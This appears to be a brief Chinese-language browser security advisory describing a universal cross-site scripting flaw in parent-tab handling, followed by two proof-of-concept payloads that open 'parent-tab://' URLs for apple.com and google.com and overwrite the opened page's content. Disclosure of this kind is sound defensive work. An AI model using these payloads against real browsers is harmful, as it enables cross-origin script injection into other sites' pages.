影响:处理恶意制作的网页内容可能导致通用跨站点脚本攻击
描述:在处理父标签时存在逻辑问题。通过改进状态管理解决了此问题。
<script> function Pew(){var doc=open('parent-tab://apple.com');doc.document.body.innerHTML='';}</script><button onclick=Pew();>Click me!</button>
data:text/html,<script>function y(){x=open('parent-tab://google.com','_top'),x.document.body.innerHTML=''};setTimeout(y,100)</script>